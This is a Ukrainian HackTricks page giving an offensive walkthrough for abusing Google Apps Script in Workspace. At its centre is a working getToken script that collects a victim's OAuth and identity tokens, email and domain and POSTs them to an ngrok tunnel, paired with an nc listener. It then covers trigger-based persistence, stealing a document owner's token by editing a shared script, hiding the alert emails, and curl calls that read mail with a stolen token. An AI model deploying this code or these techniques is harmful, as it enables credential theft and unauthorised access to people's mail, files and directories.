GWS - App Scripts

Вивчайте та практикуйте взлом AWS:Школа взлому AWS для Червоної Команди (ARTE) Вивчайте та практикуйте взлом GCP: Школа взлому GCP для Червоної Команди (GRTE)

Підтримайте HackTricks

Сценарії додатків

Додаткові скрипти - це код, який буде запущений, коли користувач з дозволом редактора отримає доступ до документу, з яким пов'язаний додатковий скрипт, і після прийняття запиту OAuth. Їх також можна налаштувати на виконання через певний час власником додаткового скрипту (Стійкість).

Створення додаткового скрипту

Є кілька способів створення додаткового скрипту, хоча найпоширеніші - з Google Document (будь-якого типу) та як самостійний проект:

Створення зв'язаного з контейнером проекту з Google Docs, Sheets або Slides
  1. Відкрийте документ Docs, електронну таблицю Sheets або презентацію Slides.

  2. Клацніть Extensions > Google Apps Script.

  3. У редакторі скриптів клацніть Untitled project.

  4. Дайте своєму проекту назву та клацніть Rename.

Створення самостійного проекту

Для створення самостійного проекту з Apps Script:

  1. Перейдіть на script.google.com.

  2. Клацніть New Project.

  3. У редакторі скриптів клацніть Untitled project.

  4. Дайте своєму проекту назву та клацніть Rename.

Створення самостійного проекту з Google Drive
  1. Відкрийте Google Drive.

  2. Клацніть New > More > Google Apps Script.

Створення зв'язаного з контейнером проекту з Google Forms
  1. Відкрийте форму в Google Forms.

  2. Клацніть More more_vert > Script editor.

  3. У редакторі скриптів клацніть Untitled project.

  4. Дайте своєму проекту назву та клацніть Rename.

Створення самостійного проекту за допомогою інструменту командного рядка clasp

clasp - це інструмент командного рядка, який дозволяє створювати, витягувати/завантажувати та розгортати проекти Apps Script з терміналу.

Див. Посібник з використання інтерфейсу командного рядка за допомогою clasp для отримання додаткових відомостей.

Сценарій додаткового скрипту

Створення Google Sheet з додатковим скриптом

Почніть з створення додаткового скрипту, моя рекомендація для цього сценарію - створити Google Sheet та перейти до Extensions > App Scripts, це відкриє новий додатковий скрипт, пов'язаний з аркушем.

Витік токену

Для надання доступу до токену OAuth вам потрібно клацнути на Services + та додати області видимості, такі як:

  • AdminDirectory: Доступ до користувачів та груп каталогу (якщо у користувача достатньо дозволів)

  • Gmail: Для доступу до даних Gmail

  • Drive: Для доступу до даних Drive

  • Google Sheets API: Для роботи з тригером

Щоб змінити необхідні області видимості, ви можете перейти до налаштувань проекту та увімкнути: Show "appsscript.json" manifest file in editor.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Для захоплення запиту ви можете просто запустити:

ngrok tcp 4444
nc -lv 4444 #macOS

Дозволи, запитані для виконання App Script:

При зовнішньому запиті також буде відображено запит на доступ до зовнішніх кінцевих точок.

Створення Тригера

Після того, як App прочитано, клацніть на ⏰ Тригери, щоб створити тригер. Як функцію для виконання виберіть getToken, запускається при розгортанні Head, у джерелі подій виберіть З таблиці і тип події виберіть При відкритті або При редагуванні (залежно від ваших потреб) та збережіть.

Зверніть увагу, що ви можете перевірити виконання App Scripts во вкладці Виконання, якщо ви хочете відлагодити щось.

Поділ

Для запуску App Script потрібно, щоб жертва підключилася з доступом Редактора.

Токен, використаний для виконання App Script, буде тим, який належить створювачу тригера, навіть якщо файл відкрито як Редактор іншими користувачами.

Зловживання документами, які були спільно використані зі мною

Якщо хтось поділився з вами документом з App Scripts та тригером, використовуючи Head App Script (не фіксоване розгортання), ви можете змінити код App Script (додавши, наприклад, функції крадіжки токенів), отримати до нього доступ, і App Script буде виконано з дозволами користувача, який поділився документом з вами! (зверніть увагу, що токен OAuth власника матиме доступ до областей, які були вказані при створенні тригера).

Сповіщення буде відправлено створювачу скрипта, що показує, що хтось змінив скрипт (що на рахунок використання дозволів gmail для створення фільтра для запобігання сповіщення?)

Якщо зловмисник змінює області App Script, оновлення не будуть застосовані до документа, поки не буде створено новий тригер зі змінами. Таким чином, зловмисник не зможе вкрасти токен власника з більшими областями, ніж ті, які він встановив у тригері, який він створив.

Копіювання замість спільного використання

Коли ви створюєте посилання для спільного використання документа, створюється посилання, схоже на це: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Якщо ви зміните закінчення "/edit" на "/copy", замість доступу google запитає вас, чи хочете ви створити копію документа:

Якщо користувач скопіює його та отримає доступ, вміст документа та App Scripts будуть скопійовані, проте тригери ні. Тому нічого не буде виконано.

Спільне використання як веб-додаток

Зверніть увагу, що також можливо спільно використовувати App Script як веб-додаток (у Редакторі App Script, розгорнути як веб-додаток), але з'явиться сповіщення, подібне до цього:

За ним слідує типовий запит OAuth, який попросить необхідні дозволи.

Тестування

Ви можете протестувати зібраний токен, щоб перелічити електронні листи за допомогою:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Список календаря користувача:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

Скрипт додатка як постійність

Одним з варіантів для постійності буде створення документа та додавання тригера для функції getToken і поділитися документом з зловмисником, щоб кожного разу, коли зловмисник відкриває файл, він ексфільтрує токен жертви.

Також можливо створити скрипт додатка і встановити тригер на виконання кожні X часу (наприклад, кожну хвилину, годину, день...). Зловмисник, який отримав доступ до облікових даних або сесії жертви, може встановити тригер часу для скрипта додатка та витікати дуже привілейований OAuth токен щодня:

Просто створіть скрипт додатка, перейдіть до Тригерів, натисніть на Додати тригер та виберіть як джерело події Time-driven та виберіть опції, які найкраще підходять вам:

Це призведе до відправлення електронної пошти з попередженням про безпеку та сповіщення на мобільний пристрій про це.

Обхід непідтвердженого запиту на спільний документ

Більше того, якщо хтось поділився з вами документом з доступом редактора, ви можете створити скрипти додатків всередині документа, а ВЛАСНИК (створювач) документа буде власником скрипта додатка.

Це означає, що створювач документа буде виглядати як створювач будь-якого скрипта додатка, який будь-хто з доступом редактора створює всередині нього.

Це також означає, що скрипт додатка буде довіряти середовищу Workspace створювача документа.

Це також означає, що якщо скрипт додатка вже існував і люди надали доступ, будь-хто з дозволом Редактор на документ може змінити його та зловживати цим доступом. Для зловживання цим також потрібно, щоб люди викликали скрипт додатка. І один цікавий трюк - опублікувати скрипт як веб-додаток. Коли люди, які вже надали доступ до скрипта додатка, отримають доступ до веб-сторінки, вони викличуть скрипт додатка (це також працює за допомогою тегів <img>).

Вивчайте та практикуйте взлом AWS:Навчання HackTricks AWS Red Team Expert (ARTE) Вивчайте та практикуйте взлом GCP: Навчання HackTricks GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Last updated